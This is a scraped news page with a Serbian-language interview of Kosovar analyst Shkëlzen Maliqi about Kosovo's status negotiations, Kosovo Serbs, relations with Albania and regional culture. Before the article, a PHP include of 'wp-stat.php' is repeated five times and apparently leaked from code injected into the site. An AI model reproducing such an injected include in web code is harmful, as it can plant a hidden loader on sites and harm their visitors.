@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); ŠKELJZEN MALIĆI, KOSOVSKI POLITIČKI ANALITIČAR: Kako gubitak pretvoriti u dobitak – Nedim Sejdinović

ŠKELJZEN MALIĆI, KOSOVSKI POLITIČKI ANALITIČAR: Kako gubitak pretvoriti u dobitak

Poznati kosovski intelektualac, filozof po obrazovanju, Škeljzen Malići, govorio je na otvaranju konferencije “Od etničkog nasilja do građanske normalnosti”, koja je prošlog vikenda održana u Prištini, a na kojoj su učestvovali predstavnici nevladinog sektora iz Srbije i sa Kosova, o suočavanju sa prošlošću i potrebi da se svako od nas jasno i glasno ogradi od zločina koji je činjen u naše ime. Malići nije član nijedne političke partije, odlično je obavešten o zbivanjima na Kosovu, ali i o političkim prilikama u Srbiji. Njegova reč se smatra odmerenom, ali i direktnom. U poslednje vreme, posvetio se radu u kulturi – pokušava da okupi i obrazuje kosovske umetnike koji eksperimentišu. U tom smislu se zove i jedna od institucija sa kojom je povezan – Laboratorija za savremenu umetnost.

U pozadini konferencije sa Malićijem razgovaramo o stanju na Kosovu, o političkim pregovorima koji slede, ali i o stvarima koje se tiču kulture i kulturne komunikacije.

Nedavno je jedan uticajni američki politički analitičar izjavio da nezavisnost Kosova više nije pitanje, već da je pitanje šta ponuditi Srbiji kao neku vrstu satisfakcije? Da li je to, po vama, realna procena?

– Jeste. Pitanje je međutim na koga se satisfakcija odnosi, da li na Srbiju ili na Srbe na Kosovu. U suštini, radi se o rešavanju statusa Srba na Kosovu, što je centralna tema svih pregovora. Za rešavanje njihovog statusa postoji nekoliko modela i mislim da je to pitanje postavljeno veoma elastično. Izveštaj Kai Eidea opisuje situaciju, ali ne nudi nikakva rešenja, već samo daleke sugestije. Kako sada stvari stoje, okvir za razgovore o ovom problemu odrediće Kontakt grupa, odnosno velike sile, i u mnogo čemu se taj okvir neće razlikovati od onoga iz 1998. godine. Moguće je takođe da će velike sile, ukoliko pregovori uđu u blokadu, ponuditi već spremljen predlog po sistemu “uzmi ili ostavi”. Sada je jasno da će doći do probacivanja protektorata nad Kosovom sa Ujedinjenih nacija na Evropsku uniju, po formuli Brisel plus Vašington. Vašington će podržati svaku evropsku soluciju, i to aktivno. U konkretnom to znači da će administrator Kosova biti određivan iz Brisela, a njegovog zamenika će imenovati SAD. To takođe znači da će Kosovo dobiti punu nezavisnost od Srbije, ali uslovnu nezavisnost u odnosu na međunarodnu zajednicu, koja će biti garant za ona rešenja koja će se ponuditi za kosovske Srbe.

Postoji mišljenje da će Srbiji, kao satisfakcija za nezavisnost Kosova, biti omogućeno ubrzano pridruživanje EU?

– U pitanju je situacija koju bi Srbija mogla da iskoristi u svoju korist. Ubrzano pridruživanje EU verovatno bi doprinelo stabilizaciji unutrašnjih prilika u Srbiji. Međutim, Srbiji je potrebno nešto čime će gubitak Kosova svojim građanima predstaviti kao svojevrsni dobitak, u smislu da će kosovski Srbi na neki način biti dobitnici, da će im međunarodna zajednica omogućiti ovo najvažnije – jasnu perspektivu ostanka na Kosovu.

Nekada je model autonomije Olandskih ostrva bio u igri kada se govorilo o statusu Kosova, a sada se pominje kada je reč o statusu Srba na Kosovu.

– Olandska ostvrva imaju visoki stepen autonomije i možda bi mogli da budu model rešenja za Srbe na Kosovu. Međutim, treba imati u vidu da su ipak u pitanju koncentrisana ostrva, što nije slučaj sa srpskim enklavama. Međutim, dobro je da postoji neki polazni model za razmišljanje. Ono što će biti problem u narednoj fazi jeste pitanje paralelnih institucija, jer u srpskim enklavama sada vlada svojevrsno dvovlašće. U budućnosti će se znatno smanjiti strano prisustvo na Kosovu, naročito će se smanjiti civilna administracija, a možda i vojno prisustvo – oni koji ostanu uglavnom će biti razmešteni po severu Kosova i srpskim enklavama.

Jedan ste od oštrih kritičara zbivanja od 17. marta prošle godine. Da li postoji opasnost da se tako nešto ponovo dogodi?

– Ne, u takvom obliku i u toj meri nije moguće. U pitanju je bila jedna vrsta erupcije. Ne mislim da su ti događaji bili programirani, ali kada je već eksplodrialo, onda su ih neke organizovane snage iskoristile za svoj scenario. Situacija je bila prepuna emocija, jer je emitovana, nespretno ili zlonamerno, vest da je troje dece poginulo u nejasnoj situaciji inter-etničkog sukoba u srpskom delu sela Čabar. Treba međutim reći da na Kosovu i dalje kuljaju emocije, da su tenzije još uvek velike, jer albanska i srpska zajednica imaju potpuno različite poglede i očekivanja od budućih pregovora. Takođe, ekstremne grupe imaju za cilj da blokiraju proces pregovaranja ili da ga preokrenu u svoju korist. Ali, bez obzira na to, nije moguća palestinizacija Kosova, iz prostog razloga što ovde postoji treći faktor: međunarodna zajednica, koja će, ako ne uspe potpuno da ih spreči, svakako umanjivati efekte revanšizama. Mislim da trenutno ni Srbiji ni Kosovu ne odgovara permanenta kriza i da će prevladati politički realizam.

Koliko je kosovska javnost zainteresovana, senzibilisana za položaj Srba na Kosovu?

– Mnogo je senzitivnija nego ranije. Sada se o tim problemima govori u realističnim terminima. Glavni mediji i glavne političke snage vrlo su svesne tog problema, ali možda na njegovom rešavanju ne rade punom parom u svim segmentima, jer postoje unutrašnji nivoi opstrukcije. Politika standarda je neprestano u prvi plan stavljala rešavanje statusa Srba i omogućavanje njihovog slobodnog kretanja. Međutim, albanska strana je uvek imala alibi, po kojem su ova pitanja teško rešiva jer Srbi ne žele da učestvuju u zajedničkom radu na prevazilaženju tih problema, jer odbijaju da participiraju u radu parlamenta i kosovskih institucija. U pitanju je pravi cirkus u kojem i jedni i drugi traže alibi, i to upravo zbog nerešenog statusa. I jedni i drugi su maksimizirali svoje zahteve, i to je nepomirljivo.

Može li se očekivati da Srbi počnu da napuštaju Kosovo po rešavanju konačnog statusa?

– Pitanje statusa je dvostruko, ono određuje status Kosova u odnosu na Srbiju i međunardonu zajednicu, ali i status Srba na Kosovu. Neki Srbi će verovatno biti nezadovoljni ako Kosovo postane nezavisno ili nezadovoljni garantijama, te će moći da biraju da li da ostanu ovde ili da odu u Srbiju i tamo žive. Mnogi od njih su i sada jednom nogom ovde a drugom u Srbiji. Nažalost, takva je životna realnost. Potrebno je naravno da svako ko želi da ode sa Kosova ostvari sva svoja imovinska i druga prava. Niko ne sme biti oštećen. Sa druge strane, i albanska strana očekuje da oni koji su imali štete tokom rata, budu obeštećeni i zaštite svoja imovinska prava. Tu je naravno i problem dokumentacije, koju su srpske vlasti tokom NATO intervencije odnele sa Kosova.

Koliko Albanija i njene političke prilike utiču na situaciju na Kosovu?

– Pre rata je na Kosovu postojalo uverenje da Albanija može da odigra neku ulogu u rešavanju kosovskog problema. Međutim, kolaps koji se desio u toj državi, i ostala zbivanja, učinili su da na Kosovu jača separatizam ne samo prema Srbiji već i prema Albaniji. Sve manje Kosovara vidi perspektivu u nekom političkom ujedinjenu sa Albanijom. Postoji bazični interes za društvenom i kulturnom komunikacijom, ali ideji Velike Albanije drastično opada vrednost. Ako neko sada o tome i razmišlja, ostavlja to za neka druga vremena. Činjenica je da u Albaniji ne postoji niti jedna politička grupacija koja se zalaže za prisajedinjenje Kosova, kao što su i na Kosovu partije koje propagiraju velikoalbansku ideju potpuno marginalne. Ogromna većina Kosovara smatra da će se potrebna komunikacija sa Albanijom odvijati u okviru EU. Međutim, ne isključujem mogućnost da će u budućnosti ideja Velike Albanije, u skladu sa političkim dešavanjima, dobijati na popularnosti.

Verovatno postoji politička konkurencija između Prištine i Tirane. Prištinskoj političkoj eliti ne bi odgovaralo da se centar mođi prebaci u Tiranu?

– Naravno. Ima tu dosta zavisti. Priština je malo provincijalnija, i mnogi iz Prištine koji misle da su veći nego što zapravo jesu, žale se na Tiranu da ih ona ne priznaje. Priština je mnogo konzervativnija od Tirane, koja polako postaje metropola i koja je veoma otvorena prema svetu. Na Kosovu takođe sve više jača ideja kosovskog identiteta u odnosu na albanski. Te tendencije se posebno koncetrišu oko dijalekta, jer se smatra da je severnoalbanski dijalekat, kojim se govori i na Kosovu, nepravedno potcenjen u standardizaciji albanskog jezika. Sve se više govori o potrebi nove standardizacije ili ponovnom uvođenju dva dijalekta, što politički prate Rugova i njegova stranka, koji se posebno zalažu za uspostavljanje kosovskog identiteta koji bi išao uz samostalnu državu.

U Srbiji su dva dominirajuća kulturna obrasca: jedan je anahrono-tradicionalistički, a drugi estradno-senzacionalistički, dok je tzv. kulturna alternativa uglavnom marginalizovana. Kako to izgleda na Kosovu?

– Manje-više, situacija je identična. Glavne snage su tradicionalističke, i to u svim oblastima stvaralaštva. Prisutna je i turbo-folk mas-kultura namenjena nižim ukusima. Prava, relevantna kultura je veoma malo vidljiva, a nema ni fondova koji bi je podržavali. Ima, međutim, segmenata društva koji su veoma dinamični i nisu se predali apatiji. Veoma je aktivna likovna scena, koja se teško i sporo probija na ovim prostorima, ali zato ima izuzetno dobru komunikaciju sa zapadnim zemljama. Ovdašnji likovni umetnici učestvuju na međunarodnim izložbama i bijenalima i veoma su zapaženi. Oni mogu da budu motor za mlađe generacije da krenu otvorenije ka novim vrednostima.

Kakva je kulturna komunikacija Kosova sa Srbijom i drugim državama bivše SFRJ?

– Na tzv. mainstream nivou ta komunikacija faktički ne postoji. Međutim, na drugim nivoima ona je sve intenzivnija. Pre nekoliko dana na prištinskom pozorišnom festivalu nastupio je sarajevski Kamerni teatar, sa komadom u kojem jednu od glavnih rola igra Mirjana Karanović, koja je ovde doživela prave ovacije. Ona je oduševljena kako je primljena u Prištini, a posle predstave je plakala. Čitao sam njene intervjue, i u svemu tome ima nekog katarzisa… Mladi iz Prištine svake godine sve više odlaze na muzički festival Exit na Kosovu, a nedavno je u Prištini bila muzička fešta na kojoj su učestvovali mladi ljudi iz Srbije… Stvari se kreću u pozitivnom smeru.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.